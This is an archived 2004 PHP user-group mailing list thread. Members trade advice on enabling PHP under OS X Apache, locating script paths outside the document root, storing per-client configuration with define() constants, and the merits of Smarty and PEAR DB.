> when you're done type
> :wq
>
> then restart Personal Web Sharing
>
> Chris
>
> On May 13, 2004, at 1:26 PM, Aaron Fischer wrote:
>
>> I started Personal Web Sharing and successfully received the Apache 
>> start up page.  However, after running phpinfo(); at it from the 
>> "Sites" folder, it doesn't appear to be running php by default.  I 
>> searched my hard drive for "httpd.conf" and came up with no results.
>>
>> I'm running Panther as well, can you give me a little more detail 
>> where I can find the httpd.conf file?
>>
>> Thanks,
>>
>> -Aaron
>>
>> On May 13, 2004, at 3:22 PM, charlie derr wrote:
>>
>>> To be completely pedantic, it wasn't "quite" ready to go.  On my 
>>> panther (osX 10.3) machine, I had to go into /etc/httpd.conf and 
>>> uncomment these two lines:
>>>
>>> #LoadModule php4_module        libexec/httpd/libphp4.so
>>> #AddModule mod_php4.c
>>>
>>>
>>> After restarting the Personal Web Sharing service, it is indeed all 
>>> set.
>>>
>>> 	thanks for this,
>>> 		~c



From bowenr at baldwin.k12.ny.us  Fri May 14 19:00:12 2004
From: bowenr at baldwin.k12.ny.us (Robert Bowen)
Date: Fri, 14 May 2004 19:00:12 -0400
Subject: [nycphp-talk] OT:  NYC area Mac repairs
In-Reply-To: <6.1.0.6.2.20040513193127.01f12878@mail.optonline.net>
References: <6.1.0.6.2.20040513193127.01f12878@mail.optonline.net>
Message-ID: <40A54F7C.7090406@baldwin.k12.ny.us>

Michael,

  If it is just the ethernet port, why not throw in an airport card and 
buy an inexpensive wireless access point?  The access point can be 
purchased for under $40.00 and the airport card for under $100.00.

Just my $.02

-Robert Bowen

Michael Southwell wrote:

> Sorry for this OT post but you guys are all so smart that....
>
> My son's I-Mac G4 stopped connecting to the Internet.  Tek-Serve says bad
> port, new motherboard, $400.  Does anyone know anybody else who could
> diagnose/fix this and might be a bit less high-end expensive?
>
> Michael Southwell
> VP, Education Department
> NYPHP
> michael.southwell at nyphp.org
>
>
> _______________________________________________
> talk mailing list
> talk at lists.nyphp.org
> http://lists.nyphp.org/mailman/listinfo/talk
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From southwell at dneba.com  Fri May 14 23:34:37 2004
From: southwell at dneba.com (Michael Southwell)
Date: Fri, 14 May 2004 23:34:37 -0400
Subject: [nycphp-talk] OT:  NYC area Mac repairs
In-Reply-To: <40A54F7C.7090406@baldwin.k12.ny.us>
References: <6.1.0.6.2.20040513193127.01f12878@mail.optonline.net>
	<40A54F7C.7090406@baldwin.k12.ny.us>
Message-ID: <6.1.0.6.2.20040514233332.01f19050@mail.optonline.net>

At 07:00 PM 5/14/2004, you wrote:
>Michael,
>
>   If it is just the ethernet port, why not throw in an airport card and 
> buy an inexpensive wireless access point?  The access point can be 
> purchased for under $40.00 and the airport card for under $100.00.

This is in fact exactly how we solved it.  Many thanks to everybody who 
responded, and I promise never to ask such an OT question again (until the 
next time that I have to).......


Michael Southwell
VP, Education Department
NYPHP
michael.southwell at nyphp.org




From keremtuzemen at hotmail.com  Tue May 18 10:57:42 2004
From: keremtuzemen at hotmail.com (Kerem Tuzemen)
Date: Tue, 18 May 2004 10:57:42 -0400
Subject: [nycphp-talk] test- please discard
References: <002801c43817$d422a4e0$e98d3818@oberon1>
Message-ID: <BAY99-DAV84SWWLubTj00004946@hotmail.com>

testing


From phillip.powell at adnet-sys.com  Tue May 18 12:13:47 2004
From: phillip.powell at adnet-sys.com (Phillip Powell)
Date: Tue, 18 May 2004 12:13:47 -0400
Subject: [nycphp-talk] How do you do the equivalent of $PHP_SELF for PHP
 scripts not in docroot?
Message-ID: <40AA363B.3060303@adnet-sys.com>

Is there a way to get an equivalent of $PHP_SELF for a PHP script that 
is not residing in the document root?  Apparently if you have PHP 4.3.2 
and Apache 2.0 in Red Hat Linux 7.3, at the very least, $PHP_SELF is 
only populated with content indicating the location of the PHP script 
calling $PHP_SELF if that PHP script resides in Apache's document root 
or below.

But I have some PHP scripts that will be ultimately referenced via cron 
that have to reside outside of the document root.  When I do

[PHP]phpinfo();[/PHP]

I get "no value" for the variable $PHP_SELF.  This tells me apparently 
that it can only identify itself from within the document root. 

So this leaves me with a problem.  How can I find $PHP_SELF, or 
something like $PHP_SELF, in a PHP script that's outside of the document 
root?  I am looking for values within the path that I will need to 
dynamically populate portions of that same PHP script, otherwise, the 
user, upon inheriting these cron files, have to MANUALLY change values 
inside the PHP script every time!

Thanx
Phil

-- 
---------------------------------------------------------------------------------
Phil Powell
Multimedia Programmer
BPX Technologies, Inc.
#: (703) 709-7218 x107 
Fax: (703) 709-7219

	



From andrew at digitalpulp.com  Tue May 18 12:36:15 2004
From: andrew at digitalpulp.com (Andrew Yochum)
Date: Tue, 18 May 2004 12:36:15 -0400
Subject: [nycphp-talk] How do you do the equivalent of $PHP_SELF for PHP
	scripts not in docroot?
In-Reply-To: <40AA363B.3060303@adnet-sys.com>
References: <40AA363B.3060303@adnet-sys.com>
Message-ID: <20040518163606.GE2854@thighmaster.digitalpulp.com>

On Tue, May 18, 2004 at 12:13:47PM -0400, Phillip Powell wrote:
> Is there a way to get an equivalent of $PHP_SELF for a PHP script that 
> is not residing in the document root?  Apparently if you have PHP 4.3.2 
> and Apache 2.0 in Red Hat Linux 7.3, at the very least, $PHP_SELF is 
> only populated with content indicating the location of the PHP script 
> calling $PHP_SELF if that PHP script resides in Apache's document root 
> or below.
> 
> But I have some PHP scripts that will be ultimately referenced via cron 
> that have to reside outside of the document root.  When I do
> 
> [PHP]phpinfo();[/PHP]
> 
> I get "no value" for the variable $PHP_SELF.  This tells me apparently 
> that it can only identify itself from within the document root. 
> 
> So this leaves me with a problem.  How can I find $PHP_SELF, or 
> something like $PHP_SELF, in a PHP script that's outside of the document 
> root?  I am looking for values within the path that I will need to 
> dynamically populate portions of that same PHP script, otherwise, the 
> user, upon inheriting these cron files, have to MANUALLY change values 
> inside the PHP script every time!

Try the __FILE__ constant.  Example:
    echo __FILE__;

HTH,
Andrew


From joel at tagword.com  Tue May 18 14:57:24 2004
From: joel at tagword.com (Joel De Gan)
Date: Tue, 18 May 2004 14:57:24 -0400
Subject: [nycphp-talk] How do you do the equivalent of $PHP_SELF for PHP
	scripts not in docroot?
In-Reply-To: <20040518163606.GE2854@thighmaster.digitalpulp.com>
References: <40AA363B.3060303@adnet-sys.com>
	<20040518163606.GE2854@thighmaster.digitalpulp.com>
Message-ID: <1084906643.9836.6.camel@bezel>

On Tue, 2004-05-18 at 12:36, Andrew Yochum wrote:
> Try the __FILE__ constant.  Example:
>     echo __FILE__;
> 

There is also getcwd() for the dir.. i.e.
$dir = getcwd();
$file = $dir . "/" . $PHP_SELF;

cheers
-- 
joeldg - developer, Intercosmos media group.
http://lucifer.intercosmos.net



From phillip.powell at adnet-sys.com  Tue May 18 14:24:24 2004
From: phillip.powell at adnet-sys.com (Phillip Powell)
Date: Tue, 18 May 2004 14:24:24 -0400
Subject: [nycphp-talk] How do you do the equivalent of $PHP_SELF for PHP
	scripts not in docroot?
In-Reply-To: <1084906643.9836.6.camel@bezel>
References: <40AA363B.3060303@adnet-sys.com>	<20040518163606.GE2854@thighmaster.digitalpulp.com>
	<1084906643.9836.6.camel@bezel>
Message-ID: <40AA54D8.6090207@adnet-sys.com>

Joel De Gan wrote:

>On Tue, 2004-05-18 at 12:36, Andrew Yochum wrote:
>  
>
>>Try the __FILE__ constant.  Example:
>>    echo __FILE__;
>>
>>    
>>
>
>There is also getcwd() for the dir.. i.e.
>$dir = getcwd();
>$file = $dir . "/" . $PHP_SELF;
>
>cheers
>  
>

Thanx.  This, however, opened up a rather annoying can-of-worms at this 
point.  My company wants me to ensure that the application I built is 
thoroughly portable and scalable, of course, not unreasonable.  Which 
means that all of the required code will be thoroughly portable from 
Client A thorugh Client Z and will work exactly the same for Client A 
through Client Z.

This means that it needs to globally include two library scripts I 
wrote: one (client_globals.inc.php) that will set all of the 
client-related global variables/functions/classes/stuff, and one 
(project_globals.inc.php) that will set all of the 
client-related-project-related global stuff specific to that client's 
project.

The code I wrote to do this is this and resides only in one file 
(index.php):

[PHP]
 require(realpath($_SERVER['DOCUMENT_ROOT'] . 
'/acme/acme_globals/client_globals.inc.php'));        // GET GLOBAL ACME 
- SCOPE ITEMS/CLASSES

  // GET PROJECT-SCOPE VARIABLES FOR I.C.
  
require(realpath("$DOCUMENT_ROOT/$clientFolderName/image_catalog/image_catalog_globals/project_globals.inc.php"));
[/PHP]

Here's the problem.  Suppose that my company wants to market this 
product out to another client, Foo Industries.  That would mean that the 
folks that get my application will have to literally MANUALLY change the 
lines in index.php from 'acme' to 'foo' or whatever the folder name will 
be for that client.  This is, of course, quite a major-league hassle to 
ask for.  And frankly, I just can't think of any system I want to use 
that would be able to automate the process so that the code in index.php 
can remain fairly "static" and not needing to be physically altered from 
client to client.

If anyone can think of how I might be able to approach this, I'm all ears.

Thanx
Phil


-- 
---------------------------------------------------------------------------------
Phil Powell
Multimedia Programmer
BPX Technologies, Inc.
#: (703) 709-7218 x107 
Fax: (703) 709-7219

	



From joel at tagword.com  Tue May 18 16:15:30 2004
From: joel at tagword.com (Joel De Gan)
Date: Tue, 18 May 2004 16:15:30 -0400
Subject: [nycphp-talk] How do you do the equivalent of $PHP_SELF for PHP
	scripts not in docroot?
In-Reply-To: <40AA54D8.6090207@adnet-sys.com>
References: <40AA363B.3060303@adnet-sys.com>
	<20040518163606.GE2854@thighmaster.digitalpulp.com>
	<1084906643.9836.6.camel@bezel>  <40AA54D8.6090207@adnet-sys.com>
Message-ID: <1084911330.9840.11.camel@bezel>

On Tue, 2004-05-18 at 14:24, Phillip Powell wrote:
> Here's the problem.  Suppose that my company wants to market this 
> product out to another client, Foo Industries.  That would mean that the 
> folks that get my application will have to literally MANUALLY change the 
> lines in index.php from 'acme' to 'foo' or whatever the folder name will 
> be for that client.  This is, of course, quite a major-league hassle to 
> ask for.  And frankly, I just can't think of any system I want to use 
> that would be able to automate the process so that the code in index.php 
> can remain fairly "static" and not needing to be physically altered from 
> client to client.
> 
> If anyone can think of how I might be able to approach this, I'm all ears.

Well, how most generally do it is via a define, in a config.
define("APPPATH", "/var/www/html/project");

Then in code that includes this file with this and other settings.
You call defined vals like so

include APPPATH ."/file.php";

Does that answer the question?
getcwd() is what I usually use to set this all programmatically.

-- 
joeldg - developer, Intercosmos media group.
http://lucifer.intercosmos.net



From phillip.powell at adnet-sys.com  Tue May 18 15:23:00 2004
From: phillip.powell at adnet-sys.com (Phillip Powell)
Date: Tue, 18 May 2004 15:23:00 -0400
Subject: [nycphp-talk] How do you do the equivalent of $PHP_SELF for PHP
	scripts not in docroot?
In-Reply-To: <1084911330.9840.11.camel@bezel>
References: <40AA363B.3060303@adnet-sys.com>	<20040518163606.GE2854@thighmaster.digitalpulp.com>	<1084906643.9836.6.camel@bezel>
	<40AA54D8.6090207@adnet-sys.com> <1084911330.9840.11.camel@bezel>
Message-ID: <40AA6294.1010201@adnet-sys.com>

Joel De Gan wrote:

>On Tue, 2004-05-18 at 14:24, Phillip Powell wrote:
>  
>
>>Here's the problem.  Suppose that my company wants to market this 
>>product out to another client, Foo Industries.  That would mean that the 
>>folks that get my application will have to literally MANUALLY change the 
>>lines in index.php from 'acme' to 'foo' or whatever the folder name will 
>>be for that client.  This is, of course, quite a major-league hassle to 
>>ask for.  And frankly, I just can't think of any system I want to use 
>>that would be able to automate the process so that the code in index.php 
>>can remain fairly "static" and not needing to be physically altered from 
>>client to client.
>>
>>If anyone can think of how I might be able to approach this, I'm all ears.
>>    
>>
>
>Well, how most generally do it is via a define, in a config.
>define("APPPATH", "/var/www/html/project");
>
>Then in code that includes this file with this and other settings.
>You call defined vals like so
>
>include APPPATH ."/file.php";
>
>Does that answer the question?
>getcwd() is what I usually use to set this all programmatically.
>
>  
>
Yes and no.  Perhaps my understanding of "config" and "define" are a bit 
overcomplicated in my head for me to come up with a simplified version, 
so I came up with the complex one, as usual.

I created a binary 0644 text CSV file that reads the required globals 
and sets them into $_SESSION variables one time shot only.  Problem is 
that the CSV file is 0644, a huge security HOLE!  It needs to be 0600, 
but then Apache can't read it and the application breaks.  The CSV file 
is created via a command-line PHP scripts "install.php" which creates it 
in /home/me/scripts/cron and then you have to physically move it to the 
docroot, in the same place as index.php

Phil



-- 
---------------------------------------------------------------------------------
Phil Powell
Multimedia Programmer
BPX Technologies, Inc.
#: (703) 709-7218 x107 
Fax: (703) 709-7219

	



From joel at tagword.com  Tue May 18 16:54:42 2004
From: joel at tagword.com (Joel De Gan)
Date: Tue, 18 May 2004 16:54:42 -0400
Subject: [nycphp-talk] How do you do the equivalent of $PHP_SELF for PHP
	scripts not in docroot?
In-Reply-To: <40AA6294.1010201@adnet-sys.com>
References: <40AA363B.3060303@adnet-sys.com>
	<20040518163606.GE2854@thighmaster.digitalpulp.com>
	<1084906643.9836.6.camel@bezel> <40AA54D8.6090207@adnet-sys.com>
	<1084911330.9840.11.camel@bezel>  <40AA6294.1010201@adnet-sys.com>
Message-ID: <1084913682.9845.15.camel@bezel>

On Tue, 2004-05-18 at 15:23, Phillip Powell wrote:
> Yes and no.  Perhaps my understanding of "config" and "define" are a bit 
> overcomplicated in my head for me to come up with a simplified version, 
> so I came up with the complex one, as usual.
> 
> I created a binary 0644 text CSV file that reads the required globals 
> and sets them into $_SESSION variables one time shot only.  Problem is 
> that the CSV file is 0644, a huge security HOLE!  It needs to be 0600, 
> but then Apache can't read it and the application breaks.  The CSV file 
> is created via a command-line PHP scripts "install.php" which creates it 
> in /home/me/scripts/cron and then you have to physically move it to the 
> docroot, in the same place as index.php

like so.. why are you messing around with csv files?

file config.php
<?
	define("APPPATH", "/var/www/html/project");
?>

file app.php
<?
	include 'config.php';
	echo APPPATH ."\n";
?>

bash-2.05b$ php app.php
/var/www/html/project


-- 
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http://lucifer.intercosmos.net



From phillip.powell at adnet-sys.com  Tue May 18 15:43:17 2004
From: phillip.powell at adnet-sys.com (Phillip Powell)
Date: Tue, 18 May 2004 15:43:17 -0400
Subject: [nycphp-talk] How do you do the equivalent of $PHP_SELF for PHP
	scripts not in docroot?
In-Reply-To: <1084913682.9845.15.camel@bezel>
References: <40AA363B.3060303@adnet-sys.com>	<20040518163606.GE2854@thighmaster.digitalpulp.com>	<1084906643.9836.6.camel@bezel>
	<40AA54D8.6090207@adnet-sys.com>	<1084911330.9840.11.camel@bezel>
	<40AA6294.1010201@adnet-sys.com> <1084913682.9845.15.camel@bezel>
Message-ID: <40AA6755.9090702@adnet-sys.com>

Joel De Gan wrote:

>On Tue, 2004-05-18 at 15:23, Phillip Powell wrote:
>  
>
>>Yes and no.  Perhaps my understanding of "config" and "define" are a bit 
>>overcomplicated in my head for me to come up with a simplified version, 
>>so I came up with the complex one, as usual.
>>
>>I created a binary 0644 text CSV file that reads the required globals 
>>and sets them into $_SESSION variables one time shot only.  Problem is 
>>that the CSV file is 0644, a huge security HOLE!  It needs to be 0600, 
>>but then Apache can't read it and the application breaks.  The CSV file 
>>is created via a command-line PHP scripts "install.php" which creates it 
>>in /home/me/scripts/cron and then you have to physically move it to the 
>>docroot, in the same place as index.php
>>    
>>
>
>like so.. why are you messing around with csv files?
>  
>

The client wants the easiest means possible of inputting necessary data 
(I didn't say the most secure, the easiest), and CSV files can be opened 
up in Excel and edited.

>file config.php
><?
>	define("APPPATH", "/var/www/html/project");
>?>
>
>file app.php
><?
>	include 'config.php';
>	echo APPPATH ."\n";
>?>
>
>bash-2.05b$ php app.php
>/var/www/html/project
>
>
>  
>

I can easily write config.php, however, my knowledge of "define" comes 
from the PHP manual, and I see nowhere where it states that anything in 
define() is in a persistent state.  If I run "config.php", I lose all of 
my defined constants, don't I?  And when I go to "index.php" via 
browser, how would it know how to go to config.php if config.php would 
have to reside outside of the docroot?

Again I'm probably overcomplicating this but I can't honestly follow 
your train of logic, though I want to.

Phil

-- 
---------------------------------------------------------------------------------
Phil Powell
Multimedia Programmer
BPX Technologies, Inc.
#: (703) 709-7218 x107 
Fax: (703) 709-7219

	



From joel at tagword.com  Tue May 18 17:31:15 2004
From: joel at tagword.com (Joel De Gan)
Date: Tue, 18 May 2004 17:31:15 -0400
Subject: [nycphp-talk] How do you do the equivalent of $PHP_SELF for PHP
	scripts not in docroot?
In-Reply-To: <40AA6755.9090702@adnet-sys.com>
References: <40AA363B.3060303@adnet-sys.com>
	<20040518163606.GE2854@thighmaster.digitalpulp.com>
	<1084906643.9836.6.camel@bezel> <40AA54D8.6090207@adnet-sys.com>
	<1084911330.9840.11.camel@bezel> <40AA6294.1010201@adnet-sys.com>
	<1084913682.9845.15.camel@bezel>  <40AA6755.9090702@adnet-sys.com>
Message-ID: <1084915875.9834.18.camel@bezel>

On Tue, 2004-05-18 at 15:43, Phillip Powell wrote:
> I can easily write config.php, however, my knowledge of "define" comes 
> from the PHP manual, and I see nowhere where it states that anything in 
> define() is in a persistent state.  If I run "config.php", I lose all of 
> my defined constants, don't I?  And when I go to "index.php" via 
> browser, how would it know how to go to config.php if config.php would 
> have to reside outside of the docroot?
> 
> Again I'm probably overcomplicating this but I can't honestly follow 
> your train of logic, though I want to.

just try it.

if you want to know all your defined constants try the following in a
script.

echo "<pre>\n";
print_r($GLOBALS);


joeldg - developer, Intercosmos media group.
http://lucifer.intercosmos.net



From phillip.powell at adnet-sys.com  Tue May 18 16:28:16 2004
From: phillip.powell at adnet-sys.com (Phillip Powell)
Date: Tue, 18 May 2004 16:28:16 -0400
Subject: [nycphp-talk] How do you do the equivalent of $PHP_SELF for PHP
	scripts not in docroot?
In-Reply-To: <1084915875.9834.18.camel@bezel>
References: <40AA363B.3060303@adnet-sys.com>	<20040518163606.GE2854@thighmaster.digitalpulp.com>	<1084906643.9836.6.camel@bezel>
	<40AA54D8.6090207@adnet-sys.com>	<1084911330.9840.11.camel@bezel>
	<40AA6294.1010201@adnet-sys.com>	<1084913682.9845.15.camel@bezel>
	<40AA6755.9090702@adnet-sys.com> <1084915875.9834.18.camel@bezel>
Message-ID: <40AA71E0.7050202@adnet-sys.com>

Joel De Gan wrote:

>On Tue, 2004-05-18 at 15:43, Phillip Powell wrote:
>  
>
>>I can easily write config.php, however, my knowledge of "define" comes 
>>from the PHP manual, and I see nowhere where it states that anything in 
>>define() is in a persistent state.  If I run "config.php", I lose all of 
>>my defined constants, don't I?  And when I go to "index.php" via 
>>browser, how would it know how to go to config.php if config.php would 
>>have to reside outside of the docroot?
>>
>>Again I'm probably overcomplicating this but I can't honestly follow 
>>your train of logic, though I want to.
>>    
>>
>
>just try it.
>
>if you want to know all your defined constants try the following in a
>script.
>
>echo "<pre>\n";
>print_r($GLOBALS);
>  
>

I tried it, and here are the steps I would have to take to ensure that 
it would work.

The admin guy will do this:

php -q ../install.php

Here is install.php:

<?php

  
/*----------------------------------------------------------------------------------------------------------------------------------------------------------------------
    File: INSTALL.PHP
    Created: 5/18/2004
    Modified: 5/18/2004
    Purpose: This file will be housed in the /docs document folder for 
the IVC project documentation list and not kept inside the document
             root.  It will generate all necessary global scripts for 
use within the IVC.
    Dependencies:
            Will be called via command-line PHP and can be set up as a 
cron, if so, move to /cron/[client folder name]/[project folder name].
            Takes two required parameters:

                1) client folder name
                2) project folder name

    Cookies: NONE
    Sessions: NONE
    Privacy Scope: Command-line PHP and not meant to be viewable by web 
server
  
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------*/
  if (!is_file('client_project_folder_info.csv')) {
   $clientFolderName = $argv[1];
   $projectFolderName = $argv[2];
   $contents .= 
"\"clientFolderName\",\"$clientFolderName\"\n\"projectFolderName\",\"$projectFolderName\"";
   $fileID = @fopen('client_project_folder_info.csv', 'wb');
   @fputs($fileID, $contents); @fflush($fileID); @fclose($fileID);
  }
  @chmod('client_project_folder_info.csv', 0644);
  // BE SURE TO COPY IT MANUALLY INTO /[document root]/[client folder 
name]/[project folder name] DIRECTORY TO BE READ BY index.php

  define('CLIENT_FOLDER_NAME', $clientFolderName);
  define('PROJECT_FOLDER_NAME', $projectFolderName);
?>

And again, I'm not at all following your train of logic.  In 
"index.php", on the docroot, I have this line:

[PHP]
list($clientFolderName, $projectFolderName) = array(CLIENT_FOLDER_NAME, 
PROJECT_FOLDER_NAME);
require(realpath($_SERVER['DOCUMENT_ROOT'] . 
"/$clientFolderName/${clientFolderName}_globals/client_globals.inc.php"));
[/PHP]

You go to your browser, open up "index.php" and this is what you see:

[Quote]
*Fatal error*: main(): Failed opening required '' 
(include_path='.:/usr/share/pear') in */www/html/index.php* on line *64
[/Quote]

Phil
*

>
>joeldg - developer, Intercosmos media group.
>http://lucifer.intercosmos.net
>
>_______________________________________________
>talk mailing list
>talk at lists.nyphp.org
>http://lists.nyphp.org/mailman/listinfo/talk
>
>  
>


-- 
---------------------------------------------------------------------------------
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Multimedia Programmer
BPX Technologies, Inc.
#: (703) 709-7218 x107 
Fax: (703) 709-7219

	



From webmaster at localnotion.com  Tue May 18 17:30:25 2004
From: webmaster at localnotion.com (Matthew Terenzio)
Date: Tue, 18 May 2004 17:30:25 -0400
Subject: [nycphp-talk] Smarty
Message-ID: <935AEE3C-A912-11D8-A2AE-0003938BDF32@localnotion.com>

Just read David Sklar's  "Essential PHP tools". It serves as a great 
reference for Pear DB, Auth,HTML_Quickform etc.. I don't even know him, 
so I'm not being biased.

But I was curious about people's feelings of Smarty. Do most think this 
extra processing is worth it? A conscientious job of keeping logic and 
presentation separate would accomplish this as well. Any feelings?

Also, any feelings about DB and whether there is a big performance hit? 
Also, does it work well with stored procedures and other RBDMS specific 
goodies?

Matt Terenzio



From phillip.powell at adnet-sys.com  Tue May 18 17:38:25 2004
From: phillip.powell at adnet-sys.com (Phillip Powell)
Date: Tue, 18 May 2004 17:38:25 -0400
Subject: [nycphp-talk] How do you do the equivalent of $PHP_SELF for PHP
	scripts not in docroot?
In-Reply-To: <1084915875.9834.18.camel@bezel>
References: <40AA363B.3060303@adnet-sys.com>	<20040518163606.GE2854@thighmaster.digitalpulp.com>	<1084906643.9836.6.camel@bezel>
	<40AA54D8.6090207@adnet-sys.com>	<1084911330.9840.11.camel@bezel>
	<40AA6294.1010201@adnet-sys.com>	<1084913682.9845.15.camel@bezel>
	<40AA6755.9090702@adnet-sys.com> <1084915875.9834.18.camel@bezel>
Message-ID: <40AA8251.8020104@adnet-sys.com>

Joel De Gan wrote:

>On Tue, 2004-05-18 at 15:43, Phillip Powell wrote:
>  
>
>>I can easily write config.php, however, my knowledge of "define" comes 
>>from the PHP manual, and I see nowhere where it states that anything in 
>>define() is in a persistent state.  If I run "config.php", I lose all of 
>>my defined constants, don't I?  And when I go to "index.php" via 
>>browser, how would it know how to go to config.php if config.php would 
>>have to reside outside of the docroot?
>>
>>Again I'm probably overcomplicating this but I can't honestly follow 
>>your train of logic, though I want to.
>>    
>>
>
>just try it.
>
>if you want to know all your defined constants try the following in a
>script.
>
>echo "<pre>\n";
>print_r($GLOBALS);
>
>
>joeldg - developer, Intercosmos media group.
>http://lucifer.intercosmos.net
>
>_______________________________________________
>talk mailing list
>talk at lists.nyphp.org
>http://lists.nyphp.org/mailman/listinfo/talk
>
>  
>
Wow, ok I did overcomplicate it, the solution was so simple it escaped 
me altogether.

Here is my install.php, I just run this from command line:

[PHP]
<?php

  
/*----------------------------------------------------------------------------------------------------------------------------------------------------------------------
    File: INSTALL.PHP
    Created: 5/18/2004
    Modified: 5/18/2004
    Purpose: This file will be housed in the /docs document folder for 
the IVC project documentation list and not kept inside the document
             root.  It will generate all necessary constants for use 
within the IVC by dynamically generating the necessary content from the
             $argv array values from user input and include them into 
script that will be placed into
             /[your document root]/[your client folder name]/[your 
project folder name]/include/constants.inc.php

    Dependencies:
            Will be called via command-line PHP and can be set up as a 
cron, if so, move to /cron/[client folder name]/[project folder name].
            Takes four required parameters:

                1) client folder name
                2) project folder name
                3) your home directory path where this script resides
                4) the document root (e.g. "/var/www/html")

    Cookies: NONE
    Sessions: NONE
    Privacy Scope: Command-line PHP and not meant to be viewable by web 
server
  
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------*/
  if (!$_SERVER['PHP_SELF'] && $_SERVER['PWD']) {
   $clientFolderName = $argv[1];
   $projectFolderName = $argv[2];
   $installHome = $argv[3];
   $docRoot = $argv[4];
   $includeCode = '<' . "?\n\n define('CLIENT_FOLDER_NAME', 
\"$clientFolderName\");\n define('PROJECT_FOLDER_NAME', 
\"$projectFolderName\");\n\n ?" . '>';
   $fileID = 
@fopen("$docRoot/$clientFolderName/$projectFolderName/include/constants.inc.php", 
'w');
   @fputs($fileID, $includeCode); @fflush($fileID); @fclose($fileID);
  }
?>
[/PHP]

Then once this runs it creates a PHP script within the docroot called 
"constants.inc.php" that is included by "index.php" to, you guessed it, 
define constants.

[from index.php:]
[PHP]
 /*---------------------------------------------------------------------------------------------------------------------------------
    This script will now look for a file called 'constants.inc.php' in 
the /include folder.  This script had to have
    already been generated by the user/admin running "install.php" from 
the command line.
  
----------------------------------------------------------------------------------------------------------------------------------*/ 

  if (!defined('CLIENT_FOLDER_NAME') || !defined('PROJECT_FOLDER_NAME')) 
@include('./include/constants.inc.php');
  if (!defined('CLIENT_FOLDER_NAME') || !defined('PROJECT_FOLDER_NAME')) 
die('You must first run "install.php" from the command line - please see 
admin');
  // BOTH CONSTANTS EXIST AS SET BY install.php - SET TO LOCAL VARIABLES
  list($clientFolderName, $projectFolderName) = 
array(CLIENT_FOLDER_NAME, PROJECT_FOLDER_NAME);
  
  //---END OF CONSTANTS RETRIEVAL 
BLOCK--------------------------------------------------------------------------------------------------------------------------------------------
[/PHP]

*whew* so simple it naturally escaped me.  Thanx
Phil

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---------------------------------------------------------------------------------
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Multimedia Programmer
BPX Technologies, Inc.
#: (703) 709-7218 x107 
Fax: (703) 709-7219

	



From jeffknight at mac.com  Tue May 18 17:38:34 2004
From: jeffknight at mac.com (putamare)
Date: Tue, 18 May 2004 17:38:34 -0400
Subject: [nycphp-talk] Smarty
In-Reply-To: <935AEE3C-A912-11D8-A2AE-0003938BDF32@localnotion.com>
References: <935AEE3C-A912-11D8-A2AE-0003938BDF32@localnotion.com>
Message-ID: <B722AA56-A913-11D8-BB4B-000393B9FB36@mac.com>

On May 18, 2004, at 5:30 PM, Matthew Terenzio wrote:
> But I was curious about people's feelings of Smarty. Do most think 
> this extra processing is worth it? A conscientious job of keeping 
> logic and presentation separate would accomplish this as well. Any 
> feelings?

Be sure and check out:
http://nyphp.org/content/presentations/3templates/
For several perspectives on this issue.


jeff.knight not junkmail at nyphp.org



From shiflett at php.net  Tue May 18 21:02:21 2004
From: shiflett at php.net (Chris Shiflett)
Date: Tue, 18 May 2004 18:02:21 -0700 (PDT)
Subject: [nycphp-talk] Smarty
In-Reply-To: <935AEE3C-A912-11D8-A2AE-0003938BDF32@localnotion.com>
Message-ID: <20040519010221.85982.qmail@web14310.mail.yahoo.com>

--- Matthew Terenzio <webmaster at localnotion.com> wrote:
> I was curious about people's feelings of Smarty.

Deja Vu. :-)

This question sparked the largest thread I've ever seen on PHP-General:

http://marc.theaimsgroup.com/?l=php-general&m=108126501502164&w=2

It always makes for a nice debate between three groups of people:

1. Smarty rocks.
2. PHP is a templating system. Why learn another?
3. Templating is good, but Foo is better than Smarty.

This was also the focus of a NYPHP presentation. I encourage you to read
the 100 or so messages sent to PHP-General on the topic and read through
the slides from the NYPHP presentation. You should at least get an idea of
all of the perspectives. :-)

Chris

=====
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PHP Security - O'Reilly
     Coming Fall 2004
HTTP Developer's Handbook - Sams
     http://httphandbook.org/
PHP Community Site
     http://phpcommunity.org/


From sklar at sklar.com  Wed May 19 09:31:55 2004
From: sklar at sklar.com (David Sklar)
Date: Wed, 19 May 2004 09:31:55 -0400
Subject: [nycphp-talk] Smarty
In-Reply-To: <935AEE3C-A912-11D8-A2AE-0003938BDF32@localnotion.com>
References: <935AEE3C-A912-11D8-A2AE-0003938BDF32@localnotion.com>
Message-ID: <40AB61CB.6080100@sklar.com>

> Just read David Sklar's  "Essential PHP tools". It serves as a great 
> reference for Pear DB, Auth,HTML_Quickform etc.. I don't even know him, 
> so I'm not being biased.

Thanks!

> But I was curious about people's feelings of Smarty. Do most think this 
> extra processing is worth it? A conscientious job of keeping logic and 
> presentation separate would accomplish this as well. Any feelings?

I think Smarty is a helper in that "conscientiousness" department. If 
that help, for your project or company or whatever, is worth the 
performance tradeoff, then Smarty is a good idea.

There are plenty of ways to boost Smarty's performance (caching, using 
an accelerator), so you can minimize the performance hit. And, to be 
completely honest, most web sites aren't running at the level where 
every last bit of performance is so crucial.

A legitimate downside to Smarty is that you need to learn, essentially, 
another programming language -- Smarty's syntax for variable 
interpolation, its function names, etc. But if that syntax is easier to 
grok for your site designers, then that's a good thing.

See also Adam's spot-on mini-rant a little while ago about including 
human time spent and programmer convenience in your calculations of cost 
and performance. Smarty's advantages definitely fit into that category.

> Also, any feelings about DB and whether there is a big performance hit? 
> Also, does it work well with stored procedures and other RBDMS specific 
> goodies?

I think the big win of DB is that it provides a unified API for database 
access, not so much that it abstracts SQL features whose implementations 
vary across databases. Whatever database program you're using, 
DB::query() sends a query off to the database and (perhaps) returns a 
result handle. The contents of that query can be standard SQL, 
vendor-specific SQL, a stored procedure, whatever you want.

David



From southwell at dneba.com  Wed May 19 12:28:41 2004
From: southwell at dneba.com (Michael Southwell)
Date: Wed, 19 May 2004 12:28:41 -0400
Subject: [nycphp-talk] can PHP4 and 5 co-exist?
Message-ID: <6.1.0.6.2.20040519122752.01efa9d0@mail.optonline.net>

Is there a way to run both PHP4.x and 5 on one machine?

Michael G. Southwell =================================
DNEBA Enterprises
81 South Road
Bloomingdale, NJ 07403-1419
973/492-7873 (voice and fax)
southwell at dneba.com
http://www.dneba.com
======================================================



From jonbaer at jonbaer.net  Wed May 19 12:45:00 2004
From: jonbaer at jonbaer.net (Jon Baer)
Date: Wed, 19 May 2004 12:45:00 -0400
